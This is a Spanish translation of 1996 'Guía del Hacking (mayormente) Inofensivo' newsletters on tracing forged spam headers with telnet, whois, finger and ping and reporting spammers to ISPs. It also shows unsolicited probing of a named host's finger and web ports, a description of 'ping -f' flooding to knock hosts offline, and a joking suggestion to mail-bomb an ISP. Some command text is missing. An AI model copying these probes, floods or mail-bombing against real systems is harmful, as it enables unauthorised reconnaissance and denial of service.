Y el resultado es: Trying 204.145.167.4 ... Conectado a boxcar.ironhorse.com. Escape character is `^]ï. 502 Usted no posee permiso para hablar. Adios. Conexión cerrada por host remoto. OK, sabemos entonces que esa parte del encabezamiento hace referencia a un server de news real. Oh, sí, también hemos averiguado el nombre/dirección que el ordenador ironhorse.com usa para albergar las news: "boxcar". Pruebo el siguiente elemento de la ruta: telnet news.uoregon.edu nntp Y obtengo: Trying 128.223.220.25 ... Conectado a pith.uoregon.edu. Escape character is `^]ï. 502 Usted no posee permiso para hablar. Adios. Conexión cerrada por el host remoto. OK, este era también un server de news válido. Ahora saltemos hasta el último elemento el encabezamiento: in2.uu.net: telnet in2.uu.net nntp Conseguimos esta respuesta: in2.uu.net: host desconocido Aquí hay algo sospechoso. Este host del encabezamiento no est conectado ahora mismo a Internet. Probablemente sea falso. Ahora comprobemos el nombre de dominio: whois uu.net

El resultado es: UUNET Technologies, Inc. (UU-DOM) 3060 Williams Drive Ste 601 Fairfax, VA 22031 USA Nombre de Dominio: UU.NET Administrative Contact, Technical Contact, Zone Contact: UUNET, Alternet [Technical Support] (OA12) [email protected] +1 (800) 900-0241 Billing Contact: Payable, Accounts (PA10-ORG) [email protected] (703) 206-5600 Fax: (703) 641-7702 Record last updated on 23-Jul-96 Record created on 20-May-87. Domain servers listed in order: NS.UU.NET 137.39.1.3 UUCP-GW-1.PA.DEC.COM 16.1.0.18 204.123.2.18 UUCP-GW-2.PA.DEC.COM 16.1.0.19 NS.EU.NET 192.16.202.11 The InterNIC Registration Services Host contains ONLY Internet Information (Networks, ASNïs, Domains, and POCïs) Please use the whois server at nic.ddn.mil for MILNET Information.

Vemos que uu.net es un dominio real. Pero teniendo en cuenta que el host in2.uu.net que aparece en el encabezamiento no está conectado actualmente a Internet, puede que esta parte del encabezamiento sea falsa. (Puede haber también otras explicaciones para esto). Volviendo al elemento anterior del encabezamiento, probamos a continuación: telnet news.mindspring.com nntp Obtengo: Trying 204.180.128.185 ... Conectado a news.mindspring.com Escape character is `^]ï. 502 Usted no est registrado en mi archivo de acceso. Adios. Conexión cerrada por host remoto. Interesante. No obtengo ningún nombre de host específico para el puerto nntp (recordemos, como antes "boxcar", por ej.). ¿Qué significa esto? Bueno, hay una cosa que podemos hacer. Hagamos telnet al puerto que nos presenta la orden de que debemos hacer login. Ese puerto es el 23, pero telnet va automáticamente al 23 a menos que le digamos lo contrario: telnet news.mindspring.com Ahora ver s qu‚ divertido!: Trying 204.180.128.166 ... telnet: conectar a dirección 204.180.128.166: Conexión rechazada Trying 204.180.128.167 ... telnet: conectar a dirección 204.180.128.167: Conexión rechazada Trying 204.180.128.168 ... telnet: conectar a dirección 204.180.128.168: Conexión rechazada Trying 204.180.128.182 ... telnet: conectar a dirección 204.180.128.182: Conexión rechazada Trying 204.180.128.185 ...

telnet: conectar a dirección 204.180.128.185: Conexión rechazada Date cuenta ¡cuántos hosts son probados por telnet con este comando! Parece que todos ellos deben ser servers de news, ya que parece que ninguno de ellos presenta el menú de login. Este parece ser un buen candidato como origen del spamming. Hay 5 servidores de news. Hagamos un whois del nombre de dominio: whois mindspring.com Obtenemos: MindSpring Enterprises, Inc. (MINDSPRING-DOM) 1430 West Peachtree Street NE Suite 400 Atlanta, GA 30309 USA Nombre de Dominio: MINDSPRING.COM Administrative Contact: Nixon , J. Fred (JFN) [email protected] 404-815-0770 Technical Contact, Zone Contact: Ahola, Esa (EA55) [email protected] (404) 815-0770 Billing Contact: Peavler, K. Anne (KAP4) [email protected] (404) 815-0770 (FAX) 404-815-8805 Record last updated on 27-Mar-96 Record created on 21-Apr-94.

Domains servers listed in order: CARNAC.MINDSPRING.COM 204.180.128.95 HENRI.MINDSPRING.COM 204.180.128.3

Newbie-Nota #3: El comando whois puede decirte quién es el propietario de un determinado dominio. El nombre de dominio son las dos últimas partes separadas por un punto que vienen después de la "@" en una dirección de email, o las dos últimas partes separadas por un punto en el nombre de un ordenador.

Yo diría que Mindspring es el PSI desde el que seguramente se falsificó el mensaje. La razón es que esta parte del encabezamiento parece verdadera, y ofrece montones de ordenadores desde los que falsificar un mensaje. Una carta a la consultoría técnica en [email protected] con una copia del mensaje (del spam) puede que obtenga resultado. Pero personalmente yo iría a su página Web y les mandaría un email de protesta desde allí. Hmmm, ¿tal vez 5MB gif de hipopótamos apareando? ¿Aunque sea ilegal? Pero el sysadmin Terry McIntyre me advierte: "No hace falta enviarles toneladas de megas de basura. Simplemente con enviarles una copia del spam es suficiente, para que el que lo envió primero (el spammer) sepa cuál es el problema." "La Ley del Gran Número de Ofendidos va a tu favor. El spammer manda un mensaje para alcanzar/llegar/tantear al máximo número de consumidores potenciales posibles." "Miles de Fastidiados mandan mensajes no-tan-amables al spammer criticando su conducta incorrecta. Y muchos spammers toman ejemplo rápidamente y se arrepienten". "Una cosa que nunca debería hacerse es enviar (publicar) al newsgroup o la lista de correo una protesta por la incorrección del spam anterior. Siempre, siempre, hay que usar el email privado para hacer ese tipo de reclamaciones. De otro modo, el newbie sin darse cuenta aumenta el nivel de ruido (basura) que circula por el newsgroup o la lista de correo". Bueno, la última frase significa que si realmente quieres tirar del enchufe del spammer, yo mandaría una amable nota incluyendo el mensaje-spam con los encabezamientos intactos a la consultoría técnica o al departamento de atención al cliente de cada uno de los links reales que encontré en el encabezamiento del spam. Seguramente te lo agradecerán.

Aquí tenemos un ejemplo de un email que me envió Netcom agradeciéndome la ayuda prestada en la detección de un spammer: From: Netcom Abuse Department Reply-To: Subject: Gracias por su informe Gracias por su información. Hemos informado a este usuario de nuestras normas y hemos tomado las medidas oportunas, incluyendo la cancelación de la cuenta. Si él o su empresa continúa transgrediendo las normas de Netcom, tomaremos acciones legales. Los siguientes usuarios han sido informados: [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]

[email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] Disculpe por la longitud de la lista. Spencer Investigador de Abusos ________________________ NETCOM Online Communication Services Asuntos de Abusos L¡nea 24-horas: 408-983-5970 [email protected] OK, ya estoy finalizando el artículo. ¡Feliz Hacking! ¡¡Y que no te atrapen!!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final. Para suscribirse, email [email protected] con el mensaje "subscribe hacker <[email protected]>" sustituyendo tu dirección de correo electrónico real por la de Joe Blow.

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Número 5 ¡Es el día divertido del vigilante! Como kickear a los spammers de Usenet de sus ISPs

Así que, ¿has estado por Usenet volando spammers? ¿Es divertido, no? Pero si alguna vez has posteado mucho en los grupos de noticias de Usenet, te darás cuenta que poco después de que lo haces, recibes a menudo spam email. Esto es gracias al Lightning Bolt, un programa escrito por Jeff Slayton para sacar grandes volúmenes de direcciones email de los mensajes de Usenet. Aquí va uno que recibí hace poco: Received: from mail.gnn.com (70.los-angeles-3.ca.dial-access.att.net [165.238.38.70]) by mail-e2b-service.gnn.com (8.7.1/8.6.9) with SMTP id BAA14636; Sat, 17 Aug 1996 01:55:06 -0400 (EDT) Date: Sat, 17 Aug 1996 01:55:06 -0400 (EDT) Message-Id: <[email protected]> To: Subject: Para siempre From: [email protected] "GRATIS" Hogar y parcela en el "CIELO" Reserva ya la tuya, hazlo hoy, no esperes. Es GRATIS simplemente por preguntar. Recibes una Acción personalizada y un mapa detallado de tu hogar en el CIELO. Manda tu nombre y dirección junto con una mínima y única donación de $1.98 en metálico, cheque, o giro para ayudar a cubrir los costes. A: Saint Peter's Estates P.O. Box 9864

Bakersfield,CA 93389-9864 Esta es una comunidad cerrada y es "GRATIS". Satisfacción total por 2000 años desde hoy. >De El Portero. (PD. Nos vemos en las Puertas de Perla) DIOS te bendiga. Es una buena deducción que este spam tiene una cabecera falsa. Para identificar al culpable, empleamos el mismo comando que usamos con el spam de Usenet. whois heaven.com La respuesta es: Time Warner Cable Broadband Applications (HEAVEN-DOM) 2210 W. Olive Avenue Burbank, CA 91506 Domain Name: HEAVEN.COM Administrative Contact, Technical Contact, Zone Contact, Billing Contact: Melo, Michael (MM428) [email protected] (818) 295-6671 Record last updated on 02-Apr-96. Record created on 17-Jun-93. Domain servers in listed order: CHEX.HEAVEN.COM 206.17.180.2 NOC.CERF.NET 192.153.156.22 A partir de esto podemos deducir que o bien esto es genuino (lo más probable) o una falsificación mejor de lo normal. Así que tratemos de hacer finger a [email protected]. Primero, comprobemos la dirección email de retorno:

finger [email protected] Nos da: [heaven.com] finger: heaven.com: Connection timed out Hay varias razones posibles para esto. Una es que el administrador de sistema de heaven.com haya deshabilitado en puerto de finge. Otra es que heaven.com este inactivo. Podría estar en un host que estuviese apagado, o quizás tal vez huérfano.

Nota para novatos: Puedes registrar nombres de dominio sin tenerlos montados en ningún ordenador. Simplemente pagas tu dinero e Internic, que registra nombres de dominio, lo apartara para que tú lo uses. Sin embargo, si no lo hospedas en un ordenador en Internet en unas semanas, podrías perder tu registro.

Podemos comprobar estas hipótesis con el comando ping. Este comando te dice si un ordenador esta actualmente conectado a Internet y la calidad de su conexión. Ahora, el ping, como la mayoría de las buenas herramientas hacker, puede usarse o bien para recibir información o bien como un medio de ataque. Pero yo te voy a hacer esperar con desesperado suspense a una posterior Guía Del Hacking (casi) Inofensivo para decirte como algunas personas usan el ping. Además, si, seria *ilegal* usarlo como un arma. Debido al potencial del ping para estos fines, tu cuenta shell puede tener deshabilitado el uso de ping para el usuario casual. Por ejemplo, con mi proveedor, debo ir al directorio correcto para usarlo. Así que doy el comando: /usr/etc/ping heaven.com El resultado es: heaven.com is alive

Consejo técnico: En algunas versiones de UNIX, al dar el comando "ping" hará que tu ordenador comience a "pingear" al blanco una y otra vez sin parar. Para salir del comando ping, mantén presionada la tecla control y presiona "c". Y ten paciencia, la siguiente Guía Del Hacking (casi) Inofensivo te dirá mas acerca del serio uso hacking del ping.

Bueno, esta respuesta significa que heaven.com esta conectado a Internet ahora mismo. ¿Permite logins? Lo comprobamos con: telnet heaven.com Esto nos debería llevar a una pantalla que nos pediría que le diésemos un nombre de usuario y un password. El resultado es: Trying 198.182.200.1 ... telnet: connect: Connection timed out Bien, ahora sabemos que la gente no puede hacer login a heaven.com. Así que parece que fuera un lugar poco probable para que el autor de este spam hubiese mandado el email. ¿Y qué hay de chex.heaven.com? ¿Quizás sea el lugar donde se origino el spam? Tecleo: telnet chex.heaven.com 79 Este es el puerto de finger. Recibo: Trying 206.17.180.2 ... telnet: connect: Connection timed out Entonces intento lo de la pantalla que me pida hacer un login con un nombre de usuario, pero una vez mas consigo "Connection timed out". Esto sugiere que ni heaven.com ni chex.heaven.com son usados por la gente para mandar email. Así que probablemente esto sea un enlace falseado en la cabecera. Comprobemos otro enlace de la cabecera: whois gnn.com La respuesta es: America Online (GNN2-DOM) 8619 Westwood Center Drive Vienna, VA 22182 USA

Domain Name: GNN.COM Administrative Contact: Colella, Richard (RC1504) [email protected] 703-453-4427 Technical Contact, Zone Contact: Runge, Michael (MR1268) [email protected] 703-453-4420 Billing Contact: Lyons, Marty (ML45) [email protected] 703-453-4411 Record last updated on 07-May-96. Record created on 22-Jun-93. Domain servers in listed order: DNS-01.GNN.COM 204.148.98.241 DNS-AOL.ANS.NET 198.83.210.28 ¡Vaya! GNN.com pertenece a America Online. America Online, como Compuserve, es una red de ordenadores por si misma que tiene entradas a Internet. Así que ¿no es muy probable que heaven.com estuviera enrutando email a través de AOL?, ¿no? Seria como encontrar una cabecera que afirmase que su email fue encaminado a través del amplio área de red de alguna corporación Fortune 500. Así que, esto nos da aun más evidencias de que el primer enlace de la cabecera, heaven.com, fue falseado. De hecho, esta empezando a ser una buena apuesta el que nuestro spammer sea un novato que se acaba de graduar de las ruedas de entrenamiento de AOL. Habiendo decidido que se puede hacer dinero falseando spams, el o ella se ha hecho con una cuenta shell ofrecida por una filial de AOL, GNN. Entonces con la cuenta shell, el o ella puede seriamente meterse en el tema del falseo de email.

Suena lógico, ¿eh? Ah, pero no saquemos conclusiones. Esto es solo una hipótesis y puede no ser correcta. Así que comprobemos el enlace que falta en la cabecera: whois att.net La respuesta es: AT&T EasyLink Services (ATT2-DOM) 400 Interpace Pkwy Room B3C25 Parsippany, NJ 07054-1113 US Domain Name: ATT.NET Administrative Contact, Technical Contact, Zone Contact: DNS Technical Support (DTS-ORG) [email protected] 314-519-5708 Billing Contact: Gardner, Pat (PG756) [email protected] 201-331-4453 Record last updated on 27-Jun-96. Record created on 13-Dec-93. Domain servers in listed order: ORCU.OR.BR.NP.ELS-GMS.ATT.NET 199.191.129.139 WYCU.WY.BR.NP.ELS-GMS.ATT.NET 199.191.128.43 OHCU.OH.MT.NP.ELS-GMS.ATT.NET 199.191.144.75 MACU.MA.MT.NP.ELS-GMS.ATT.NET 199.191.145.136

¡Otro dominio válido! Así que esto es una falsificación razonablemente ingeniosa. El culpable podría haber mandado email desde cualquiera, entre heaven.com, gnn.com o att.net. Sabemos que heaven.com es poco probable ya que ni siquiera podemos hacer que el puerto de logins (23) funcione. Pero aun tenemos gnn.com y att.net como hogares sospechosos del spammer. El siguiente paso es mandar vía email una copia del spam *incluyendo la cabecera* tanto a [email protected] (normalmente la dirección email de la persona que recibe las quejas) y [email protected], que esta en la lista cuando hemos hecho el whois como el contacto técnico. Deberíamos también mandarlo a [email protected] o [email protected] (contacto técnico). Pero hay un atajo. Si este tío te ha mandado el spam, muchas otras personas también lo habrán recibido. Hay un grupo de noticias en Usenet donde la gente puede cambiar información acerca de spammers de email y de Usenet, news.admin.net-abuse.misc. Hagámosle una visita y veamos lo que la gente ha descubierto acerca de [email protected]. Seguro, encuentro un mensaje acerca de este spam de heaven: From: [email protected] (Matt Bartley) Newsgroups: news.admin.net-abuse.misc Subject: junk email - Free B 4 U - [email protected] Supersedes: <[email protected]> Date: 15 Aug 1996 14:08:47 -0700 Organization: Interstate Electronics Corporation Lines: 87 Message-ID: <[email protected]> NNTP-Posting-Host: helium.iecorp.com (snip) No hay duda, un inventado "From:" en la cabecera que parecía pertenecer a un nombre de dominio valido. Los Postmasters de att.net, gnn.com y heaven.com lo notificaron. gnn.com ha afirmado ya que venia de att.net, falseado para parecer que venia de gnn. Claramente el primer "Received:" de la cabecera es inconsistente.

Ahora sabemos que si quieres quejarte acerca del spam, el mejor sitio para mandar tu queja es [email protected]. Pero ¿qué tal funciona actualmente lo de mandar una carta de queja? Le pregunte al dueño de un proveedor Dale Amon. Me contesto, "Del pequeño número de mensajes spam que he estado viendo -- dado el número de generaciones de crecimiento exponencial de la red que he visto en 20 años -- parece que el sistema sea *fuertemente* auto regulador. El Gobierno y los sistemas legales no trabajan tan bien. "Felicito a Carolyn por sus esfuerzos en este área. Esta totalmente en lo cierto. Los spammers están controlados por el mercado. Si hay suficiente gente asombrada, responden. Si esa acción causa problemas a un proveedor, tienen en cuenta sus intereses económicos a la hora de desechar a clientes que causan dicho daño, por ejemplo los spammers. El interés económico es muchas veces un incentivo mucho mas fuerte y efectivo que los requerimientos legales. "Y recuerda que digo esto como Director Técnico del mayor proveedor de Irlanda del Norte." ¿Qué tal demandar a los spammers? Quizás un puñado de nosotros pudiera unirse para llevar a cabo una acción y llevar a estos tíos a la bancarrota. El administrador de sistema Terry McIntyre dice, "Me opongo a los intentos de demandar a los spammers. Ya tenemos un mecanismo de normas propio decente impuesto. "Considerando que la mitad de todo Internet son novatos (debido a la tasa de crecimiento del 100%), yo diría que las normativas propias son maravillosamente efectivas. "Invita al Gobierno a que haga nuestro trabajo, y algunos malditos burócratas fijaran Normas, Regulaciones, y Penas y todo ese sin sentido. Ya tenemos suficiente de eso en el mundo fuera de la red; no invitemos a nada de ello a perseguirnos en la red." Así que parece que los profesionales de Internet prefieren controlar los spams teniendo vigilantes de red como nosotros que perseguimos a los spammers y avisamos de su presencia a sus proveedores. ¡Me suena como divertido! De hecho, seria justo decir que sin nosotros, vigilantes de la red, Internet se reduciría a una parada de la carga que estos spammers depositasen en "ella". Bien, pues ya termino con esta columna. Espero tus contribuciones a esta lista. Pásatelo bien de vigilante y, ¡que no te pillen!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final. Para suscribirse, email

[email protected] con el mensaje "subscribe hacker <[email protected]>" sustituyendo tu dirección de correo electrónico real por la de Joe Blow.

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Numero 6 ¡Es el día divertido del vigilante una vez mas! Como "joder" webs ofensivas

¿Cómo nos ocupamos de webs ofensivas? Recuerda que Internet es voluntaria. No hay ley que fuerce a un proveedor a servir a gente que no les guste. Como los reyes del spam Jeff Slayton, Crazy Kevin, y, oh sí, los originales artistas del spam Cantor y Siegal han aprendido, la vida como spammer es una continua carrera. Lo mismo es aplicable a web sites que se pasan de la raya. La razón por la que saco a relucir esto es que un miembro de la lista de Happy Hacker me ha dicho que le gustaría destrozar sites de porno infantil. Creo que esa es una idea muy, muy, buena -- excepto por un problema. ¡Puedes acabar en la cárcel! No quiero que las utilidades de hacking que puedas pillar de web y ftp sites públicos sean un aliciente para que te pillen. Es fácil usarlas para destrozar web sites. Pero es difícil usarlas sin ser ¡pillado!

PUEDES IR A LA CÁRCEL: Irrumpir en una parte no publica de un ordenador es ilegal. Adicionalmente, si usas las líneas de teléfono o Internet a lo largo de una línea de un estado de EEUU para irrumpir en una zona no publica de un ordenador, habrás cometido un delito Federal. No necesitas causar ningún daño -- es igualmente ilegal. Incluso si solo consigues acceso root e inmediatamente desconectas -- sigue siendo ilegal. Incluso si estas haciendo lo que tu ves como una obligación cívica mediante el destrozo de porno infantil -- sigue siendo ilegal.

Aquí va otro problema. Hicieron falta dos hackers cabreados para parar la lista esa de DC. Sí, volverá, eventualmente. Pero ¿y si Internet estuviera limitada a acarrear solamente material que fuese totalmente inofensivo para todo el mundo? De ahí el porqué esta contra la ley el "joder" proveedores y servidores web que no te gusten. Créeme, como pronto descubrirás, es realmente fácil el sacar a un host fuera de Internet. Es *tan* fácil que hacer este tipo de cosas ¡NO es élite! Así que ¿cuál es la alternativa legal para luchar contra el porno infantil? El tratar de llevar a la cárcel a los tíos del web de porno infantil no siempre funciona. Mientras que hay leyes contra ello en los EEUU, el problema es que Internet es global. Muchos países no tienen

leyes en contra del porno infantil en Internet. Incluso si fuese ilegal en todos sitios, en muchos países la policía solo caza a personas a cambio de que tu pagues un soborno mayor que el del criminal.

Pueden ir a la cárcel: En los EEUU y en muchos otros países, el porno infantil es ilegal. Si las imágenes están albergadas en un dispositivo de almacenamiento físico dentro de la jurisdicción de un país con leyes en contra de ello, la persona que ponga estas imágenes en el dispositivo de almacenamiento puede ir a la cárcel. Así que si sabes lo suficiente para ayudar a las autoridades a obtener una orden de registro, contacta con ellos sin lugar a dudas. En los EEUU, estos serian el FBI.

Pero la clase de ofensas masivas que mantiene a los spammers a la carrera puede también llevar al porno infantil fuera de la Red. *Tenemos* el poder. La clave es que nadie puede forzar a un proveedor a llevar porno infantil-- o cualquier otra cosa. De hecho, la mayoría de los seres humanos están tan disgustados con el porno infantil que saltaran a la mínima oportunidad de acabar con ello. Si el proveedor es dirigido por algún pervertido que quiere hacer dinero ofreciendo porno infantil, entonces tu vas al siguiente nivel, al proveedor que ofrece la conexión al proveedor de porno infantil. Allí habrá alguien que estará encantado de parar los pies a los bastardos. Así que, ¿cómo encuentras a la gente que pueda poner un web site en marcha? Comenzamos con la URL. Voy a usar una URL real. Pero por favor ten en cuenta que no estoy diciendo que esta sea actualmente una dirección con porno infantil. Esto es usado solo con fines ilustrativos ya que esta URL es llevada por un host con muchas características hackeables. También, al menos por algunos estándares, tiene material calificado X. Así que visítala a tu propio riesgo. http://www.phreak.org Ahora digamos que alguien te dijo que este era un site de porno infantil. ¿Simplemente lanzas un ataque? No. Así es como las guerras hacker comienzan. ¿Y si phreak.org es un buen sitio actualmente? Incluso si una vez mostraron porno infantil, tal vez se hayan arrepentido. No queriendo ser pillado actuando por un estúpido rumor, voy a la web y recibo el mensaje "no DNS entry". Así que parece que este web site no este allí ahora mismo.

Pero podría simplemente ser que la maquina que tiene el disco que alberga a este web site este temporalmente apagada. Hay un modo de decir si el ordenador que sirve un nombre de dominio esta funcionando: el comando ping: /usr/etc/ping phreak.org La respuesta es: /usr/etc/ping: unknown host phreak.org Ahora, si este web site hubiese estado funcionando, habría respondido como lo hace mi web site: /usr/etc/ping techbroker.com Esto da la respuesta: techbroker.com is alive

Nota de genio maligno: El ping es una herramienta de diagnostico de red poderosa. Este ejemplo es de BSD UNIX. Quaterdeck Internet Suite y muchos otros paquetes de software también ofrecen esta versión del comando ping. Pero en su forma mas poderosa -- que la puedes obtener instalando Linux en tu ordenador -- el comando ping-f mandara fuera paquetes tan rápido como el host que usemos de blanco pueda responder por un periodo de tiempo indefinido. Esto puede mantener al blanco extremadamente ocupado y puede ser suficiente para poner al ordenador fuera de combate. Si varias personas hacen esto simultáneamente, el blanco casi seguro que será incapaz de mantener su conexión de red. Así que -- *ahora* ¿quieres instalar Linux? Advertencia: "Pinging down" (el tirar abajo mediante ping) a un host es increíblemente fácil. Es muy fácil para ser considerado elite, así que no lo hagas para impresionar a tus amigos. Si de todas formas lo haces, prepárate para ser denunciado por el dueño de tu blanco y ser pateado de tu proveedor -- o ¡mucho peor! Si por accidente haces correr al comando ping en modo de asalto, puedes rápidamente apagarlo presionando la tecla control a la vez que la tecla "c". Advertencia puedes ir a la cárcel: Si se puede probar que usaste el comando ping-f con el propósito de tirar al host al que apuntaste, esto es un ataque de denegaron de servicio y por lo tanto ilegal.

Bien, ahora ya hemos establecido que al menos en estos momentos, http://phreak.com o bien no existe, o que el ordenador que lo alberga no esta conectado a Internet.

¿Pero es esto temporal o se fue, se fue, se fue? Podemos hacernos alguna idea de si ha estado funcionando y de si ha sido ampliamente visitada por medio del motor de búsqueda en http://altavista.digital.com. Es capaz de buscar links fijados en páginas web. ¿Hay muchos web sites con links hacia phreak.org? En los comandos de búsqueda pongo: link: http://www.phreak.org host: http://www.phreak.org Pero no aparece nada. Así que parece que el site phreak.org no es realmente popular. Bueno, ¿tiene phreak.org un registro en Internic? Probemos con whois: whois phreak.org Phreaks, Inc. (PHREAK-DOM) Phreaks, Inc. 1313 Mockingbird Lane San José, CA 95132 US Domain Name: PHREAK.ORG Administrative Contact, Billing Contact: Connor, Patrick (PC61) [email protected] (408) 262-4142 Technical Contact, Zone Contact: Hall, Barbara (BH340) [email protected] 408.262.4142 Record last updated on 06-Feb-96. Record created on 30-Apr-95. Domain servers in listed order: PC.PPP.ABLECOM.NET 204.75.33.33 ASYLUM.ASYLUM.ORG 205.217.4.17

NS.NEXCHI.NET 204.95.8.2 Seguidamente espero unas pocas horas y hago ping a phreak.org de nuevo. Descubro que ahora esta "vivo". Así que ahora hemos aprendido que el ordenador que alberga a phreak.org esta a veces conectado a Internet y a veces no. (De hecho, pruebas posteriores demuestran que esta normalmente down.) Trato de hacer telnet a su secuencia de login: telnet phreak.org Trying 204.75.33.33 ... Connected to phreak.org. Escape character is '^]'. ; Connection closed by foreign host. ¡Ha! ¡Alguien ha conectado el ordenador que alberga a phreak.org a Internet! El hecho de que esto solo nos dé el dibujo en ASCII y no el prompt de login sugiere que este host no de exactamente la bienvenida al visitante casual. Pudiera bien tener un firewall que rechazase intentos de login de cualquiera que "telnetease" desde un host que no este en su lista de aprobación. Seguidamente hago un finger a tu contacto técnico: finger [email protected] La respuesta es: [phreak.org] Entonces me da un scroll de gráficos ASCII desconcertantes. Haz un finger tu mismo si quieres verlo. Sin embargo yo solo lo calificaría como PG-13 (mayores de 13 años, creo). El hecho de que phreak.org corra el servicio finger es interesante. Dado que el finger es una de las mejores formas de crackear un sistema, podemos concluir que o bien: 1) El administrador de phreak.org no esta muy concienzado con la seguridad, o 2) Es tan importante para phreak.org el mandar mensajes insultantes que al administrador no le importa el riesgo de seguridad de usar el finger.

Dado que hemos visto evidencias de un firewall, el punto 2 es probablemente cierto. Uno de los miembros de la lista del Happy Hacker que me ayudo revisando esta Guía, William Ryan, decidió probar mas adelante el puerto finger de phreak.org: "He estado prestando mucha atención a todas las cosas de "happy hacker" que has posteado. Cuando intente usar el método del puerto 79 en phreak.org, se conectaba y después mostraba una mano con su dedo del medio levantado y el comentario "UP YOURS". Cuando intente usar el finger, me conecte y se mostraba un mensaje un poco después "In real life???"" Oh, esto es simplemente *muy* tentador...ah, pero mantengámonos fuera de problemas y dejemos al puerto 79 en paz, ¿OK? Ahora ¿qué tal su puerto HTML, que podría dar acceso a cualquier web site albergado por phreak.org? Podríamos simplemente ejecutar un browser y echar un vistazo. Pero somos hackers y los hackers nunca hacen nada del modo ordinario. Además, no quiero ver fotos sucias y malas palabras. Así que comprobamos para ver si tiene activado, lo has adivinado, un pequeño puerto de "surfing": telnet phreak.org 80 Esto es lo que recibo: Trying 204.75.33.33 ... Connected to phreak.org. Escape character is '^]'. HTTP/1.0 400 Bad Request Server: thttpd/1.00 Content-type: text/html Last-modified: Thu, 22-Aug-96 18:54:20 GMT <TITLE>400 Bad Request

400 Bad Request

Your request '' has bad syntax or is inherently impossible to satisfy.


thttpd/1.00
Connection closed by foreign host. Ahora sabemos que phreak.org tiene un servidor web en su ordenador host. Este servidor se llama thttpd, versión 1.0. ¡También podemos sospechar que tiene unos pocos bugs! ¿Qué me hace pensar que tiene bugs? Mira el numero de versión: 1.0. También, ese es un mensaje de error bastante raro. Si yo fuese el administrador técnico de phreak.org, pillaría un mejor programa para que corriese en el puerto 80 antes de que alguien se diera cuenta de como hacerse root con él. El problema es que el código con bugs es normalmente un síntoma de código que toma el acercamiento inútil de usar llamadas a root. En el caso de un servidor web, deseas dar acceso de solo lectura a usuarios remotos en cualquier directorio de usuario de archivos HTML. Así que hay una gran tentación de hacer llamadas a root. Y un programa con llamadas a root simplemente podría venirse abajo y ponerte en root.

Nota para novatos: ¡Root! Es el Walhalla del cracker duro. "Root" es la cuenta de un ordenador multi-usuario que te permite jugar a ser Dios. ¡Te conviertes en el "superusuario"! Es la cuenta desde la que puedes entrar y usar cualquier otra cuenta, leer y modificar cualquier fichero, ejecutar cualquier programa. Con acceso root, puedes destruir completamente todos los datos de boring.ISP.net o de cualquier otro host en el que ganes acceso root. (¡*No* estoy sugiriendo que lo hagas!)

Oh, esto es simplemente muy tentador. Hago un pequeño experimento: telnet phreak.org 80 Esto nos da: Trying 204.75.33.33 ... Connected to phreak.org. Escape character is '^]'.

Ya que el programa del puerto 80 "caduca" a los comandos en un segundo o menos, yo estaba listo para hacer un paste (pegar) al comando del host, que rápidamente inserto el siguiente comando:
thttpd/1.00 Esto da información acerca del programa del puerto 80 de phreak.org: HTTP/1.0 501 Not Implemented Server: thttpd/1.00 Content-type: text/html Last-modified: Thu, 22-Aug-96 19:45:15 GMT <TITLE>501 Not Implemented

501 Not Implemented

The requested method '
thttpd/1.00
Connection closed by foreign host. Bien, ¿qué es thttpd? Hago una búsqueda rápida en Altavista y recibo la respuesta: Un pequeño, portable, rápido, y seguro servidor HTTP. El pequeño/turbo/rápido servidor HTTP no se bifurca y es muy cuidadoso con la memoria... ¿Pero supo el programador como hacer todo esto sin llamadas a root? Solo por diversión trato de acceder a la URL acme.org y recibo el mensaje "does not have a DNS entry". Así que esta off-line, también. Pero el whois me dice que esta registrado con Internic. Hmm, esto suena aun más a marca X de software. Y esta corriendo en un puerto. ¡Asalto a la ciudad! Que tentación...arghhh...

También, una vez mas vemos una interesante personalidad dividida. Al administrador de phreak.org le importa lo suficiente la seguridad como para coger un servidor web anunciado como "seguro". Pero ese software muestra grandes sintamos de ser un riesgo para la seguridad. Así que ¿cómo podemos concluir? Parece como si phreak.org tiene un web site. Pero está sólo esporádicamente conectado a Internet. Ahora supón que encontramos algo realmente malo en phreak.org. Supón que alguien pudiera cerrarlo. ¡Ah-ah-ah, no toques ese puerto 80 con bugs! ¡O ese tentador puerto 79! ¡Haz ping con moderación, solo!

Puedes ir a la cárcel: ¿Estás tan tentado como lo estoy yo? Estos tíos tienen la autopista de crackers, puerto 79 abierto, ¡Y un puerto 80 con bugs! Pero, una vez mas, te lo estoy diciendo, va en contra de la ley el irrumpir en zonas no publicas de un ordenador. Si haces telnet sobre las líneas estatales de los EEUU, es un delito federal. Incluso si crees que hay algo ilegal en ese servidor thttpd, solo alguien armado con una orden de registro tiene derecho a observarlo desde la cuenta root.

Primero, si de hecho hubiese un problema con phreak.org (recuerda, esto esta siendo usado solo como ilustración) mandaría un email con quejas al contacto técnico y administrativo del proveedor que da a phreak.org conexión a Internet. Así que miro para ver quienes son: whois PC.PPP.ABLECOM.NET Recibo la respuesta: [No name] (PC12-HST) Hostname: PC.PPP.ABLECOM.NET Address: 204.75.33.33 System: Sun 4/110 running SunOS 4.1.3 Record last updated on 30-Apr-95 En este caso, ya que no hay contactos listados, mandaría un email a [email protected]. Compruebo el siguiente proveedor:

whois ASYLUM.ASYLUM.ORG Y recibo: [No name] (ASYLUM4-HST) Hostname: ASYLUM.ASYLUM.ORG Address: 205.217.4.17 System: ? running ? Record last updated on 30-Apr-96. De nuevo, mandaría un email a [email protected] Compruebo el último proveedor: whois NS.NEXCHI.NET Y recibo: NEXUS-Chicago (BUDDH-HST) 1223 W North Shore, Suite 1E Chicago, IL 60626 Hostname: NS.NEXCHI.NET Address: 204.95.8.2 System: Sun running UNIX Coordinator: Torres, Walter (WT51) [email protected] 312-352-1200 Record last updated on 31-Dec-95. Así que en este caso mandaría un email a [email protected] con evidencias del material ofensivo. También mandaría las quejas por email a [email protected] y [email protected].

